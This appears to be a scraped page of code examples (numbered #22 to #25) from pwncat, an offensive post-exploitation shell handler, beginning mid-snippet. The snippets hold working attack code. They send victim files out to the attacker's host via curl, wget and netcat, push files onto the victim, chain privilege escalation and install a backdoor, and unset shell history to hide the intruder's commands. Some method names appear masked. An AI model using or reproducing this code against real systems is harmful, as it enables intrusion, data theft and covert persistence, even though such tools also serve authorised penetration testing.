                self.do_back([])
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #22
0
    def do_download(self, argv):

        uploaders = {
            "XXXXX": (
                "http",
                "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
            ),
            "XXXX": (
                "http",
                "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
            ),
            "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
        }
        servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}

        parser = argparse.ArgumentParser(prog="upload")
        parser.add_argument(
            "--method",
            "-m",
            choices=uploaders.keys(),
            default=None,
            help="set the upload method (default: auto)",
        )
        parser.add_argument(
            "--output",
            "-o",
            default="./{basename}",
            help="path to the output file (default: basename of input)",
        )
        parser.add_argument("path", help="path to the file to download")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if self.vars.get("lhost", None) is None:
            util.error("[!] you must provide an lhost address for reverse connections!")
            return

        if args.method is not None and args.method not in self.known_binaries:
            util.error(f"{args.method}: method unavailable")
        elif args.method is not None:
            method = uploaders[args.method]
        else:
            method = None
            for m, info in uploaders.items():
                if m in self.known_binaries:
                    util.info(f"downloading via {m}")
                    method = info
                    break
            else:
                util.warn(
                    "no available upload methods. falling back to dd/base64 method"
                )

        path = args.path
        basename = os.path.basename(args.path)
        name = basename
        outfile = args.output.format(basename=basename)

        # Get the remote file size
        size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
        if b"none" in size:
            util.error(f"{path}: no such file or directory")
            return
        size = int(size)

        with ProgressBar("downloading") as pb:

            counter = pb(range(os.path.getsize(path)))
            last_update = time.time()

            def on_progress(copied, blocksz):
                """ Update the progress bar """
                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            if method is not None:
                server = servers[method[0]](outfile, name, progress=on_progress)

                command = method[1].format(
                    remote_file=shlex.quote(path),
                    lhost=self.vars["lhost"],
                    lfile=name,
                    lport=server.server_address[1],
                )
                print(command)
                result = self.run(command, wait=False)
            else:
                server = None
                with open(outfile, "wb") as fp:
                    copied = 0
                    for chunk_nr in range(0, size, 8192):
                        encoded = self.run(
                            f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64"
                        )
                        chunk = base64.b64decode(encoded)
                        fp.write(chunk)
                        copied += len(chunk)
                        on_progress(copied, len(chunk))

            try:
                while not counter.done:
                    time.sleep(0.1)
            except KeyboardInterrupt:
                pass
            finally:
                if server is not None:
                    server.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)
Example #23
0
    def do_upload(self, argv):
        """ Upload a file to the remote host """

        downloaders = {
            "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"),
            "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"),
            "nc": ("raw", "nc {lhost} {lport} > {outfile}"),
        }
        servers = {"http": util.serve_http_file, "raw": util.serve_raw_file}

        parser = argparse.ArgumentParser(prog="upload")
        parser.add_argument(
            "--method",
            "-m",
            choices=downloaders.keys(),
            default=None,
            help="set the download method (default: auto)",
        )
        parser.add_argument(
            "--output",
            "-o",
            default="./{basename}",
            help="path to the output file (default: basename of input)",
        )
        parser.add_argument("path", help="path to the file to upload")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if self.vars.get("lhost", None) is None:
            util.error("[!] you must provide an lhost address for reverse connections!")
            return

        if not os.path.isfile(args.path):
            util.error(f"[!] {args.path}: no such file or directory")
            return

        if args.method is not None and args.method not in self.known_binaries:
            util.error(f"{args.method}: method unavailable")
        elif args.method is not None:
            method = downloaders[args.method]
        else:
            method = None
            for m, info in downloaders.items():
                if m in self.known_binaries:
                    util.info("uploading via {m}")
                    method = info
                    break
            else:
                util.warn(
                    "no available upload methods. falling back to echo/base64 method"
                )

        path = args.path
        basename = os.path.basename(args.path)
        name = basename
        outfile = args.output.format(basename=basename)

        with ProgressBar("uploading") as pb:

            counter = pb(range(os.path.getsize(path)))
            last_update = time.time()

            def on_progress(copied, blocksz):
                """ Update the progress bar """
                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            if method is not None:
                server = servers[method[0]](path, name, progress=on_progress)

                command = method[1].format(
                    outfile=shlex.quote(outfile),
                    lhost=self.vars["lhost"],
                    lfile=name,
                    lport=server.server_address[1],
                )

                result = self.run(command, wait=False)
            else:
                server = None
                with open(path, "rb") as fp:
                    self.run(f"echo -n > {outfile}")
                    copied = 0
                    for chunk in iter(lambda: fp.read(8192), b""):
                        encoded = base64.b64encode(chunk).decode("utf-8")
                        self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
                        copied += len(chunk)
                        on_progress(copied, len(chunk))

            try:
                while not counter.done:
                    time.sleep(0.1)
            except KeyboardInterrupt:
                pass
            finally:
                if server is not None:
                    server.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)
Example #24
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            with open(args.data, "rb") as f:
                data = f.read()

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        pwncat.victim.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #25
0
    def connect(self, client: socket.SocketType):

        # Initialize the socket connection
        self.client = client

        # We should always get a response within 3 seconds...
        self.client.settimeout(1)

        # Attempt to identify architecture
        self.arch = self.run("uname -m").decode("utf-8").strip()
        if self.arch == "amd64":
            self.arch = "x86_64"

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        self.shell = self.run("ps -o command -p $$ | tail -n 1").decode("utf-8").strip()
        self.shell = self.which(self.shell.split(" ")[0])
        util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}")

        # Locate interesting binaries
        # The auto-resolving doesn't work correctly until we have a pty
        # so, we manually resolve a list of useful binaries prior to spawning
        # a pty
        for name in Victim.INTERESTING_BINARIES:
            util.info(
                f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}",
                overlay=True,
            )

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}").strip()
            if response == b"":
                continue

            self.known_binaries[name] = response.decode("utf-8")

        # Now, we can resolve using `which` w/ request=False for the different
        # methods
        if self.which("python") is not None:
            method_cmd = Victim.OPEN_METHODS["python"].format(
                self.which("python"), self.shell
            )
            method = "python"
        elif self.which("script") is not None:
            result = self.run("script --version")
            if b"linux" in result:
                method_cmd = f"exec script -qc {self.shell} /dev/null"
                method = "script (util-linux)"
            else:
                method_cmd = f"exec script -q /dev/null {self.shell}"
                method = "script (probably bsd)"
            method = "script"
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(
            f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True
        )
        self.run(method_cmd, wait=False)
        # client.sendall(method_cmd.encode("utf-8") + b"\n")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        # Make sure HISTFILE is unset in this PTY (it resets when a pty is
        # opened)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        # Disable automatic margins, which f**k up the prompt
        self.run("tput rmam")

        self.privesc = privesc.Finder()

        # Save our terminal state
        self.stty_saved = self.run("stty -g").decode("utf-8").strip()

        # The session is fully setup now
        self.command_parser.loaded = True

        # Synchronize the terminals
        self.command_parser.dispatch_line("sync")

        # Force the local TTY to enter raw mode
        self.state = State.RAW